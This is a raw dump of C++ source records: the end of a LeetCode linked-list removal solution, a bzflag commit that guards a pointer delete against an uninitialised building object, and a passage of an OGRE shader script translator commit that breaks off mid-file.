6\nReturn: 1 --> 2 --> 3 --> 4 --> 5\n\nCredits:\nSpecial thanks to @mithmatt for adding this problem and creating all test cases.\n*\/\n\n\/**\n * Definition for singly-linked list.\n * struct ListNode {\n * int val;\n * ListNode *next;\n * ListNode(int x) : val(x), next(NULL) {}\n * };\n *\/\n\n#include <stdio.h>\n\nstruct ListNode {\n\tint val;\n \tListNode *next;\n\tListNode(int x) : val(x), next(NULL) {}\n};\n\nvoid print_list(ListNode *list) {\n\tfor ( ; list != NULL; list = list->next) {\n\t\tprintf(\"%d->\", list->val);\n\t}\n\tprintf(\"NULL\\n\");\n}\n\nclass Solution {\npublic:\n\t\/\/ 1->2->3->4->5->NULL\n\t\/\/ 1->2->4->5->NULL\n ListNode* removeElements(ListNode* head, int val) {\n\t\tListNode* p = head;\n\t\tListNode* q = head;\n\t\tListNode* s = head;\n\t\tListNode* result = NULL;\n\t\tif (head == NULL) {\n\t\t\treturn result;\n\t\t}\n\t\tif (head->next == NULL && head->val == val) {\n\t\t\treturn result;\n\t\t}\n\n\t\tresult = head;\n\t\tfor ( ; p != NULL; ) {\n\t\t\tif (p->val != val ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tresult = p->next;\n\t\t\tp = p->next;\n\t\t}\n\n\t\tif (result == NULL) {\n\t\t\treturn result;\n\t\t}\n\t\n\t\tp = head;\n\t\tfor ( ; p->next != NULL; ) {\n\t\t\tq = p;\n\t\t\tp = p->next;\n\n\t\t\tif (p->val == val) {\n\t\t\t\tq->next = p->next;\n\t\t\t\tp = q;\n\t\t\t}\n\t\t}\n\n\t\tif (p->val == val) {\n\t\t\tq->next = NULL;\n\t\t}\n\t\t\t\n\t\tif (head->val == val) {\n\t\t\tresult = head->next;\n\t\t}\n\n\t\treturn result;\n }\n};\n\nint main() {\n\tListNode l1(1), l2(2), l3(3);\n\tListNode l4(4), l5(5), l6(6), l7(6), l8(6), l9(9), l10(10), l11(11), l12(12), l13(6);\n\tListNode n1(0), n2(0), n3(0), n4(1);\n\tl1.next = &l2;\n\tl2.next = &l3;\n\n\tl4.next = &l5;\n\tl5.next = &l6;\n\tl6.next = &l7;\n\tl7.next = &l8;\n\tl8.next = &l9;\n\tl9.next = &l10;\n\tl10.next = &l11;\n\tl11.next = &l12;\n\tl12.next = &l13;\n\n\t\/\/n1.next = &n2;\n\t\/\/n2.next = &n3;\n\t\/\/n3.next = &n4;\n\n\tprint_list(&l4);\n\tSolution s;\n\tprint_list(s.removeElements(&l4, 6));\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* bzflag\n * Copyright (c) 1993 - 2004 Tim Riker\n *\n * This package is free software; you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named COPYING that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n\/\/ object that creates and contains a spawn position\n\n#include \"common.h\"\n\n#include \"SpawnPosition.h\"\n#include \"FlagInfo.h\"\n#include \"TeamBases.h\"\n#include \"WorldInfo.h\"\n#include \"PlayerInfo.h\"\n#include \"PlayerState.h\"\n\n\/\/ FIXME: from bzfs.cxx\nextern int getCurMaxPlayers();\nextern bool areFoes(TeamColor team1, TeamColor team2);\nextern BasesList bases;\nextern WorldInfo *world;\nextern PlayerInfo player[];\nextern PlayerState lastState[];\n\nSpawnPosition::SpawnPosition(int playerId, bool onGroundOnly, bool notNearEdges) :\n\t\tcurMaxPlayers(getCurMaxPlayers())\n{\n team = player[playerId].getTeam();\n azimuth = (float)bzfrand() * 2.0f * M_PI;\n\n if (player[playerId].shouldRestartAtBase() &&\n (team >= RedTeam) && (team <= PurpleTeam) && \n (bases.find(team) != bases.end())) {\n TeamBases &teamBases = bases[team];\n const TeamBase &base = teamBases.getRandomBase((int)(bzfrand() * 100));\n base.getRandomPosition(pos[0], pos[1], pos[2]);\n player[playerId].setRestartOnBase(false);\n } else {\n const float tankHeight = BZDB.eval(StateDatabase::BZDB_TANKHEIGHT);\n const float tankRadius = BZDB.eval(StateDatabase::BZDB_TANKRADIUS);\n safeSWRadius = (float)((BZDB.eval(StateDatabase::BZDB_SHOCKOUTRADIUS) + BZDB.eval(StateDatabase::BZDB_TANKRADIUS)) * 1.5);\n safeDistance = tankRadius * 20; \/\/ FIXME: is this a good value?\n const float size = BZDB.eval(StateDatabase::BZDB_WORLDSIZE);\n const float maxWorldHeight = world->getMaxWorldHeight();\n ObstacleLocation *building;\n\n \/\/ keep track of how much time we spend searching for a location\n TimeKeeper start = TimeKeeper::getCurrent();\n\n int inAirAttempts = 50;\n int tries = 0;\n float minProximity = size \/ 3.0f;\n float bestDist = -1.0f;\n bool foundspot = false;\n while (!foundspot) {\n if (!world->getZonePoint(std::string(Team::getName(team)), testPos)) {\n if (notNearEdges) {\n \/\/ don't spawn close to map edges in CTF mode\n testPos[0] = ((float)bzfrand() - 0.5f) * size * 0.6f;\n testPos[1] = ((float)bzfrand() - 0.5f) * size * 0.6f;\n\t} else {\n testPos[0] = ((float)bzfrand() - 0.5f) * (size - 2.0f * tankRadius);\n testPos[1] = ((float)bzfrand() - 0.5f) * (size - 2.0f * tankRadius);\n\t}\n testPos[2] = onGroundOnly ? 0.0f : ((float)bzfrand() * maxWorldHeight);\n }\n tries++;\n\n int type = world->inBuilding(&building, testPos[0], testPos[1], testPos[2],\n tankRadius, tankHeight);\n\n if (onGroundOnly) {\n if (type == NOT_IN_BUILDING)\n foundspot = true;\n } else {\n if ((type == NOT_IN_BUILDING) && (testPos[2] > 0.0f)) {\n testPos[2] = 0.0f;\n \/\/Find any intersection regardless of z\n type = world->inBuilding(&building, testPos[0], testPos[1], testPos[2],\n tankRadius, maxWorldHeight);\n }\n\n \/\/ in a building? try climbing on roof until on top\n int lastType = type;\n\tint retriesRemaining = 100; \/\/ don't climb forever\n while (type != NOT_IN_BUILDING) {\n testPos[2] = building->pos[2] + building->size[2] + 0.0001f;\n tries++;\n lastType = type;\n type = world->inBuilding(&building, testPos[0], testPos[1], testPos[2],\n tankRadius, tankHeight);\n\t if (--retriesRemaining <= 0) {\n\t DEBUG1(\"Warning: getSpawnLocation had to climb too many buildings\\n\");\n\t break;\n\t }\n }\n \/\/ ok, when not on top of pyramid or teleporter\n if (lastType != IN_PYRAMID && lastType != IN_TELEPORTER) {\n foundspot = true;\n }\n \/\/ only try up in the sky so many times\n if (--inAirAttempts <= 0) {\n onGroundOnly = true;\n }\n }\n\n \/\/ check every now and then if we have already used up 10ms of time\n if (tries >= 50) {\n tries = 0;\n if (TimeKeeper::getCurrent() - start > 0.01f) {\n if (bestDist < 0.0f) { \/\/ haven't found a single spot\n \/\/Just drop the sucka in, and pray\n pos[0] = testPos[0];\n pos[1] = testPos[1];\n pos[2] = maxWorldHeight;\n\t DEBUG1(\"Warning: getSpawnLocation ran out of time, just dropping the sucker in\\n\");\n }\n break;\n }\n }\n\n \/\/ check if spot is safe enough\n bool dangerous = isImminentlyDangerous();\n if (foundspot && !dangerous) {\n\tfloat enemyAngle;\n\tfloat dist = enemyProximityCheck(enemyAngle);\n\tif (dist > bestDist) { \/\/ best so far\n\t bestDist = dist;\n\t pos[0] = testPos[0];\n\t pos[1] = testPos[1];\n\t pos[2] = testPos[2];\n\t azimuth = fmod((enemyAngle + M_PI), 2.0f * M_PI);\n\t}\n\tif (bestDist < minProximity) { \/\/ not good enough, keep looking\n\t foundspot = false;\n\t minProximity *= 0.99f; \/\/ relax requirements a little\n\t}\n } else if (dangerous) {\n\tfoundspot = false;\n }\n }\n delete building;\n }\n}\n\nSpawnPosition::~SpawnPosition()\n{\n}\n\nconst bool SpawnPosition::isFacing(const float *enemyPos, const float enemyAzimuth, \n\t\t\t\t const float deviation) const\n{\n \/\/ determine angle from source to dest\n \/\/ (X) using only x & y, resultant will be z rotation\n float dx = testPos[0] - enemyPos[0];\n float dy = testPos[1] - enemyPos[1];\n float angActual;\n if (dx == 0) {\n \/\/ avoid divide by zero error\n angActual = (float)tan(dy \/ (1 \/ 1e12f));\n } else {\n angActual = (float)tan(dy \/ dx);\n }\n\n \/\/ see if our heading angle is within the bounds set by deviation\n \/\/ (X) only compare to z-rotation since that's all we're using\n if (((angActual + deviation \/ 2) > enemyAzimuth) &&\n ((angActual - deviation \/ 2) < enemyAzimuth)) {\n return true;\n } else {\n return false;\n }\n}\n\nconst bool SpawnPosition::isImminentlyDangerous() const\n{\n for (int i = 0; i < curMaxPlayers; i++) {\n if (player[i].isAlive() && areFoes(player[i].getTeam(), team)) {\n const FlagInfo *finfo =&flag[player[i].getFlag()];\n const FlagType *ftype = finfo->flag.type;\n float *enemyPos = lastState[i].pos;\n float enemyAngle = lastState[i].azimuth;\n \/\/ check for dangerous flags, etc\n \/\/ FIXME: any more?\n if (ftype == Flags::Laser) { \/\/ don't spawn in the line of sight of an L\n\tif (isFacing(enemyPos, enemyAngle, M_PI \/ 9)) { \/\/ he's looking within 20 degrees of spawn point\n\t return true;\t\/\/ eek, don't spawn here\n\t}\n } else if (ftype == Flags::ShockWave) { \/\/ don't spawn next to a SW\n\tif (distanceFrom(enemyPos) < safeSWRadius) { \/\/ too close to SW\n\t return true;\t\/\/ eek, don't spawn here\n\t}\n }\n \/\/ don't spawn in the line of sight of a normal-shot tank within a certain distance\n if (distanceFrom(enemyPos) < safeDistance) { \/\/ within danger zone?\n\tif (isFacing(enemyPos, enemyAngle, M_PI \/ 9)) { \/\/and he's looking at me\n\t return true;\n\t}\n }\n }\n }\n\n \/\/ TODO: should check world weapons also\n\n return false;\n}\n\nconst float SpawnPosition::enemyProximityCheck(float &enemyAngle) const\n{\n float worstDist = 1e12f; \/\/ huge number\n bool noEnemy = true;\n\n for (int i = 0; i < curMaxPlayers; i++) {\n if (player[i].isAlive() && areFoes(player[i].getTeam(), team)) {\n float *enemyPos = lastState[i].pos;\n if (fabs(enemyPos[2] - testPos[2]) < 1.0f) {\n float x = enemyPos[0] - testPos[0];\n float y = enemyPos[1] - testPos[1];\n float distSq = x * x + y * y;\n if (distSq < worstDist) {\n worstDist = distSq;\n\t enemyAngle = lastState[i].azimuth;\n\t noEnemy = false;\n\t}\n }\n }\n }\n if (noEnemy)\n enemyAngle = (float)bzfrand() * 2.0f * M_PI;\n return sqrtf(worstDist);\n}\n\nconst float SpawnPosition::distanceFrom(const float* farPos) const\n{\n float dx = farPos[0] - testPos[0];\n float dy = farPos[1] - testPos[1];\n float dz = farPos[2] - testPos[2];\n return (float)sqrt(dx*dx + dy*dy + dz*dz);\n}\n\n\/\/ Local Variables: ***\n\/\/ mode:C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<commit_msg>and the next one - don't delete building if it was never initialized<commit_after>\/* bzflag\n * Copyright (c) 1993 - 2004 Tim Riker\n *\n * This package is free software; you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named COPYING that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n\/\/ object that creates and contains a spawn position\n\n#include \"common.h\"\n\n#include \"SpawnPosition.h\"\n#include \"FlagInfo.h\"\n#include \"TeamBases.h\"\n#include \"WorldInfo.h\"\n#include \"PlayerInfo.h\"\n#include \"PlayerState.h\"\n\n\/\/ FIXME: from bzfs.cxx\nextern int getCurMaxPlayers();\nextern bool areFoes(TeamColor team1, TeamColor team2);\nextern BasesList bases;\nextern WorldInfo *world;\nextern PlayerInfo player[];\nextern PlayerState lastState[];\n\nSpawnPosition::SpawnPosition(int playerId, bool onGroundOnly, bool notNearEdges) :\n\t\tcurMaxPlayers(getCurMaxPlayers())\n{\n team = player[playerId].getTeam();\n azimuth = (float)bzfrand() * 2.0f * M_PI;\n\n if (player[playerId].shouldRestartAtBase() &&\n (team >= RedTeam) && (team <= PurpleTeam) && \n (bases.find(team) != bases.end())) {\n TeamBases &teamBases = bases[team];\n const TeamBase &base = teamBases.getRandomBase((int)(bzfrand() * 100));\n base.getRandomPosition(pos[0], pos[1], pos[2]);\n player[playerId].setRestartOnBase(false);\n } else {\n const float tankHeight = BZDB.eval(StateDatabase::BZDB_TANKHEIGHT);\n const float tankRadius = BZDB.eval(StateDatabase::BZDB_TANKRADIUS);\n safeSWRadius = (float)((BZDB.eval(StateDatabase::BZDB_SHOCKOUTRADIUS) + BZDB.eval(StateDatabase::BZDB_TANKRADIUS)) * 1.5);\n safeDistance = tankRadius * 20; \/\/ FIXME: is this a good value?\n const float size = BZDB.eval(StateDatabase::BZDB_WORLDSIZE);\n const float maxWorldHeight = world->getMaxWorldHeight();\n ObstacleLocation *building = NULL;\n\n \/\/ keep track of how much time we spend searching for a location\n TimeKeeper start = TimeKeeper::getCurrent();\n\n int inAirAttempts = 50;\n int tries = 0;\n float minProximity = size \/ 3.0f;\n float bestDist = -1.0f;\n bool foundspot = false;\n while (!foundspot) {\n if (!world->getZonePoint(std::string(Team::getName(team)), testPos)) {\n if (notNearEdges) {\n \/\/ don't spawn close to map edges in CTF mode\n testPos[0] = ((float)bzfrand() - 0.5f) * size * 0.6f;\n testPos[1] = ((float)bzfrand() - 0.5f) * size * 0.6f;\n\t} else {\n testPos[0] = ((float)bzfrand() - 0.5f) * (size - 2.0f * tankRadius);\n testPos[1] = ((float)bzfrand() - 0.5f) * (size - 2.0f * tankRadius);\n\t}\n testPos[2] = onGroundOnly ? 0.0f : ((float)bzfrand() * maxWorldHeight);\n }\n tries++;\n\n int type = world->inBuilding(&building, testPos[0], testPos[1], testPos[2],\n tankRadius, tankHeight);\n\n if (onGroundOnly) {\n if (type == NOT_IN_BUILDING)\n foundspot = true;\n } else {\n if ((type == NOT_IN_BUILDING) && (testPos[2] > 0.0f)) {\n testPos[2] = 0.0f;\n \/\/Find any intersection regardless of z\n type = world->inBuilding(&building, testPos[0], testPos[1], testPos[2],\n tankRadius, maxWorldHeight);\n }\n\n \/\/ in a building? try climbing on roof until on top\n int lastType = type;\n\tint retriesRemaining = 100; \/\/ don't climb forever\n while (type != NOT_IN_BUILDING) {\n testPos[2] = building->pos[2] + building->size[2] + 0.0001f;\n tries++;\n lastType = type;\n type = world->inBuilding(&building, testPos[0], testPos[1], testPos[2],\n tankRadius, tankHeight);\n\t if (--retriesRemaining <= 0) {\n\t DEBUG1(\"Warning: getSpawnLocation had to climb too many buildings\\n\");\n\t break;\n\t }\n }\n \/\/ ok, when not on top of pyramid or teleporter\n if (lastType != IN_PYRAMID && lastType != IN_TELEPORTER) {\n foundspot = true;\n }\n \/\/ only try up in the sky so many times\n if (--inAirAttempts <= 0) {\n onGroundOnly = true;\n }\n }\n\n \/\/ check every now and then if we have already used up 10ms of time\n if (tries >= 50) {\n tries = 0;\n if (TimeKeeper::getCurrent() - start > 0.01f) {\n if (bestDist < 0.0f) { \/\/ haven't found a single spot\n \/\/Just drop the sucka in, and pray\n pos[0] = testPos[0];\n pos[1] = testPos[1];\n pos[2] = maxWorldHeight;\n\t DEBUG1(\"Warning: getSpawnLocation ran out of time, just dropping the sucker in\\n\");\n }\n break;\n }\n }\n\n \/\/ check if spot is safe enough\n bool dangerous = isImminentlyDangerous();\n if (foundspot && !dangerous) {\n\tfloat enemyAngle;\n\tfloat dist = enemyProximityCheck(enemyAngle);\n\tif (dist > bestDist) { \/\/ best so far\n\t bestDist = dist;\n\t pos[0] = testPos[0];\n\t pos[1] = testPos[1];\n\t pos[2] = testPos[2];\n\t azimuth = fmod((enemyAngle + M_PI), 2.0f * M_PI);\n\t}\n\tif (bestDist < minProximity) { \/\/ not good enough, keep looking\n\t foundspot = false;\n\t minProximity *= 0.99f; \/\/ relax requirements a little\n\t}\n } else if (dangerous) {\n\tfoundspot = false;\n }\n }\n if (!(building == NULL))\n delete building;\n }\n}\n\nSpawnPosition::~SpawnPosition()\n{\n}\n\nconst bool SpawnPosition::isFacing(const float *enemyPos, const float enemyAzimuth, \n\t\t\t\t const float deviation) const\n{\n \/\/ determine angle from source to dest\n \/\/ (X) using only x & y, resultant will be z rotation\n float dx = testPos[0] - enemyPos[0];\n float dy = testPos[1] - enemyPos[1];\n float angActual;\n if (dx == 0) {\n \/\/ avoid divide by zero error\n angActual = (float)tan(dy \/ (1 \/ 1e12f));\n } else {\n angActual = (float)tan(dy \/ dx);\n }\n\n \/\/ see if our heading angle is within the bounds set by deviation\n \/\/ (X) only compare to z-rotation since that's all we're using\n if (((angActual + deviation \/ 2) > enemyAzimuth) &&\n ((angActual - deviation \/ 2) < enemyAzimuth)) {\n return true;\n } else {\n return false;\n }\n}\n\nconst bool SpawnPosition::isImminentlyDangerous() const\n{\n for (int i = 0; i < curMaxPlayers; i++) {\n if (player[i].isAlive() && areFoes(player[i].getTeam(), team)) {\n const FlagInfo *finfo =&flag[player[i].getFlag()];\n const FlagType *ftype = finfo->flag.type;\n float *enemyPos = lastState[i].pos;\n float enemyAngle = lastState[i].azimuth;\n \/\/ check for dangerous flags, etc\n \/\/ FIXME: any more?\n if (ftype == Flags::Laser) { \/\/ don't spawn in the line of sight of an L\n\tif (isFacing(enemyPos, enemyAngle, M_PI \/ 9)) { \/\/ he's looking within 20 degrees of spawn point\n\t return true;\t\/\/ eek, don't spawn here\n\t}\n } else if (ftype == Flags::ShockWave) { \/\/ don't spawn next to a SW\n\tif (distanceFrom(enemyPos) < safeSWRadius) { \/\/ too close to SW\n\t return true;\t\/\/ eek, don't spawn here\n\t}\n }\n \/\/ don't spawn in the line of sight of a normal-shot tank within a certain distance\n if (distanceFrom(enemyPos) < safeDistance) { \/\/ within danger zone?\n\tif (isFacing(enemyPos, enemyAngle, M_PI \/ 9)) { \/\/and he's looking at me\n\t return true;\n\t}\n }\n }\n }\n\n \/\/ TODO: should check world weapons also\n\n return false;\n}\n\nconst float SpawnPosition::enemyProximityCheck(float &enemyAngle) const\n{\n float worstDist = 1e12f; \/\/ huge number\n bool noEnemy = true;\n\n for (int i = 0; i < curMaxPlayers; i++) {\n if (player[i].isAlive() && areFoes(player[i].getTeam(), team)) {\n float *enemyPos = lastState[i].pos;\n if (fabs(enemyPos[2] - testPos[2]) < 1.0f) {\n float x = enemyPos[0] - testPos[0];\n float y = enemyPos[1] - testPos[1];\n float distSq = x * x + y * y;\n if (distSq < worstDist) {\n worstDist = distSq;\n\t enemyAngle = lastState[i].azimuth;\n\t noEnemy = false;\n\t}\n }\n }\n }\n if (noEnemy)\n enemyAngle = (float)bzfrand() * 2.0f * M_PI;\n return sqrtf(worstDist);\n}\n\nconst float SpawnPosition::distanceFrom(const float* farPos) const\n{\n float dx = farPos[0] - testPos[0];\n float dy = farPos[1] - testPos[1];\n float dz = farPos[2] - testPos[2];\n return (float)sqrt(dx*dx + dy*dy + dz*dz);\n}\n\n\/\/ Local Variables: ***\n\/\/ mode:C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<|endoftext|>"} {"text":"<commit_before>\/*\n-----------------------------------------------------------------------------\nThis source file is part of OGRE\n(Object-oriented Graphics Rendering Engine)\nFor the latest info, see http:\/\/www.ogre3d.org\n\nCopyright (c) 2000-2014 Torus Knot Software Ltd\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n#include \"OgreShaderPrecompiledHeaders.h\"\n\nnamespace Ogre {\nnamespace RTShader {\n\n\/\/-----------------------------------------------------------------------------\nSGScriptTranslator::SGScriptTranslator() :\n mGeneratedRenderState(NULL)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid SGScriptTranslator::translate(ScriptCompiler* compiler, const AbstractNodePtr &node)\n{\n ObjectAbstractNode* obj = static_cast<ObjectAbstractNode*>(node.get());\n ObjectAbstractNode* parent = static_cast<ObjectAbstractNode*>(obj->parent);\n\n \/\/ Translate section within a pass context.\n if (parent->id == ID_PASS)\n {\n translatePass(compiler, node);\n }\n if (parent->id == ID_TEXTURE_UNIT)\n {\n translateTextureUnit(compiler, node);\n }\n}\n\n\/\/-----------------------------------------------------------------------------\nSubRenderState* SGScriptTranslator::getGeneratedSubRenderState(const String& typeName)\n{\n \/\/check if we are in the middle of parsing\n if (mGeneratedRenderState)\n {\n \/** Get the list of the template sub render states composing this render state. *\/\n const SubRenderStateList& rsList =\n mGeneratedRenderState->getTemplateSubRenderStateList();\n \n SubRenderStateList::const_iterator it = rsList.begin();\n SubRenderStateList::const_iterator itEnd = rsList.end();\n for(; it != itEnd; ++it)\n {\n if ((*it)->getType() == typeName)\n return *it;\n }\n }\n return NULL;\n}\n \n\/\/-----------------------------------------------------------------------------\n\/*\nnote: we can know the texture unit index by getting parent then finding it in the list of children\n*\/\nvoid SGScriptTranslator::translateTextureUnit(ScriptCompiler* compiler, const AbstractNodePtr &node)\n{\n ObjectAbstractNode *obj = static_cast<ObjectAbstractNode*>(node.get()); \n TextureUnitState* texState = any_cast<TextureUnitState*>(obj->parent->context);\n Pass* pass = texState->getParent();\n Technique* technique = pass->getParent();\n Material* material = technique->getParent();\n ShaderGenerator* shaderGenerator = ShaderGenerator::getSingletonPtr();\n String dstTechniqueSchemeName = obj->name;\n bool techniqueCreated;\n\n \/\/ Make sure the scheme name is valid - use default if none exists.\n if (dstTechniqueSchemeName.empty()) \n dstTechniqueSchemeName = ShaderGenerator::DEFAULT_SCHEME_NAME; \n\n\n \/\/check if technique already created\n techniqueCreated = shaderGenerator->hasShaderBasedTechnique(material->getName(), \n material->getGroup(),\n technique->getSchemeName(), \n dstTechniqueSchemeName);\n \n if (techniqueCreated == false)\n {\n \/\/ Create the shader based technique.\n techniqueCreated = shaderGenerator->createShaderBasedTechnique(technique, \n dstTechniqueSchemeName,\n shaderGenerator->getCreateShaderOverProgrammablePass());\n }\n\n\n \n \/\/ Case technique successfully created.\n if (techniqueCreated)\n {\n \/\/Attempt to get the render state which might have been created by the pass parsing\n mGeneratedRenderState = shaderGenerator->getRenderState(dstTechniqueSchemeName, \n material->getName(), material->getGroup(), pass->getIndex());\n \n \/\/ Go over all the render state properties.\n for(AbstractNodeList::iterator i = obj->children.begin(); i != obj->children.end(); ++i)\n {\n if((*i)->type == ANT_PROPERTY)\n {\n PropertyAbstractNode *prop = static_cast<PropertyAbstractNode*>((*i).get());\n SubRenderState* subRenderState = ShaderGenerator::getSingleton().createSubRenderState(compiler, prop, texState, this);\n \n if (subRenderState)\n {\n addSubRenderState(subRenderState, dstTechniqueSchemeName, material->getName(), \n material->getGroup(), pass->getIndex());\n }\n }\n else\n {\n processNode(compiler, *i);\n }\n }\n\n mGeneratedRenderState = NULL;\n } \n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid SGScriptTranslator::translatePass(ScriptCompiler* compiler, const AbstractNodePtr &node)\n{\n ObjectAbstractNode *obj = static_cast<ObjectAbstractNode*>(node.get()); \n Pass* pass = any_cast<Pass*>(obj->parent->context);\n Technique* technique = pass->getParent();\n Material* material = technique->getParent();\n ShaderGenerator* shaderGenerator = ShaderGenerator::getSingletonPtr();\n String dstTechniqueSchemeName = obj->name;\n bool techniqueCreated;\n\n \/\/ Make sure the scheme name is valid - use default if none exists.\n if (dstTechniqueSchemeName.empty()) \n dstTechniqueSchemeName = ShaderGenerator::DEFAULT_SCHEME_NAME; \n\n\n \/\/ Create the shader based technique.\n techniqueCreated = shaderGenerator->createShaderBasedTechnique(technique, \n dstTechniqueSchemeName,\n shaderGenerator->getCreateShaderOverProgrammablePass());\n\n\n \/\/ Case technique successfully created.\n if (techniqueCreated)\n {\n \/\/ Go over all the render state properties.\n for(AbstractNodeList::iterator i = obj->children.begin(); i != obj->children.end(); ++i)\n {\n if((*i)->type == ANT_PROPERTY)\n {\n PropertyAbstractNode *prop = static_cast<PropertyAbstractNode*>((*i).get());\n\n \/\/ Handle light count property.\n if (prop->name == \"light_count\")\n {\n if (prop->values.size() != 3)\n {\n compiler->addError(ScriptCompiler::CE_INVALIDPARAMETERS, prop->file, prop->line);\n }\n else\n {\n std::vector<int> lightCount;\n if (getVector(prop->values.begin(), prop->values.end(), lightCount, 3))\n {\n shaderGenerator->createScheme(dstTechniqueSchemeName);\n RenderState* renderState = shaderGenerator->getRenderState(dstTechniqueSchemeName, \n material->getName(), material->getGroup(), pass->getIndex());\n\n renderState->setLightCount(Vector3i(lightCount.data()));\n renderState->setLightCountAutoUpdate(false);\n }\n else\n {\n compiler->addError(ScriptCompiler::CE_INVALIDPARAMETERS, prop->file, prop->line);\n }\n } \n }\n\n \/\/ Handle the rest of the custom properties.\n else\n {\n SubRenderState* subRenderState = ShaderGenerator::getSingleton().createSubRenderState(compiler, prop, pass, this);\n if (subRenderState)\n {\n addSubRenderState(subRenderState, dstTechniqueSchemeName, material->getName(), material->getGroup(), pass->getIndex());\n }\n } \n }\n else\n {\n processNode(compiler, *i);\n }\n }\n\n mGeneratedRenderState = NULL;\n }\n\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid SGScriptTranslator::addSubRenderState(SubRenderState* newSubRenderState, \n const String& dstTechniqueSchemeName, const String& materialName, const String& groupName, unsigned short passIndex)\n{\n assert(newSubRenderState);\n\n \/\/check if a different sub render state of the same type already exists\n ShaderGenerator* shaderGenerator = ShaderGenerator::getSingletonPtr();\n \n \/\/create a new scheme if needed\n shaderGenerator->createScheme(dstTechniqueSchemeName);\n \n \/\/update the active render state\n mGeneratedRenderState = shaderGenerator->getRenderState(dstTechniqueSchemeName, materialName, groupName, passIndex);\n\n \/\/add the new sub render state\n mGeneratedRenderState->addTemplateSubRenderState(newSubRenderState);\n}\n\n}\n}\n<commit_msg>RTSS: ScriptTranslator - log error when encountering unknown parameter<commit_after>\/*\n-----------------------------------------------------------------------------\nThis source file is part of OGRE\n(Object-oriented Graphics Rendering Engine)\nFor the latest info, see http:\/\/www.ogre3d.org\n\nCopyright (c) 2000-2014 Torus Knot Software Ltd\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n#include \"OgreShaderPrecompiledHeaders.h\"\n\nnamespace Ogre {\nnamespace RTShader {\n\n\/\/-----------------------------------------------------------------------------\nSGScriptTranslator::SGScriptTranslator() :\n mGeneratedRenderState(NULL)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid SGScriptTranslator::translate(ScriptCompiler* compiler, const AbstractNodePtr &node)\n{\n ObjectAbstractNode* obj = static_cast<ObjectAbstractNode*>(node.get());\n ObjectAbstractNode* parent = static_cast<ObjectAbstractNode*>(obj->parent);\n\n \/\/ Translate section within a pass context.\n if (parent->id == ID_PASS)\n {\n translatePass(compiler, node);\n }\n if (parent->id == ID_TEXTURE_UNIT)\n {\n translateTextureUnit(compiler, node);\n }\n}\n\n\/\/-----------------------------------------------------------------------------\nSubRenderState* SGScriptTranslator::getGeneratedSubRenderState(const String& typeName)\n{\n \/\/check if we are in the middle of parsing\n if (mGeneratedRenderState)\n {\n \/** Get the list of the template sub render states composing this render state. *\/\n const SubRenderStateList& rsList =\n mGeneratedRenderState->getTemplateSubRenderStateList();\n \n SubRenderStateList::const_iterator it = rsList.begin();\n SubRenderStateList::const_iterator itEnd = rsList.end();\n for(; it != itEnd; ++it)\n {\n if ((*it)->getType() == typeName)\n return *it;\n }\n }\n return NULL;\n}\n 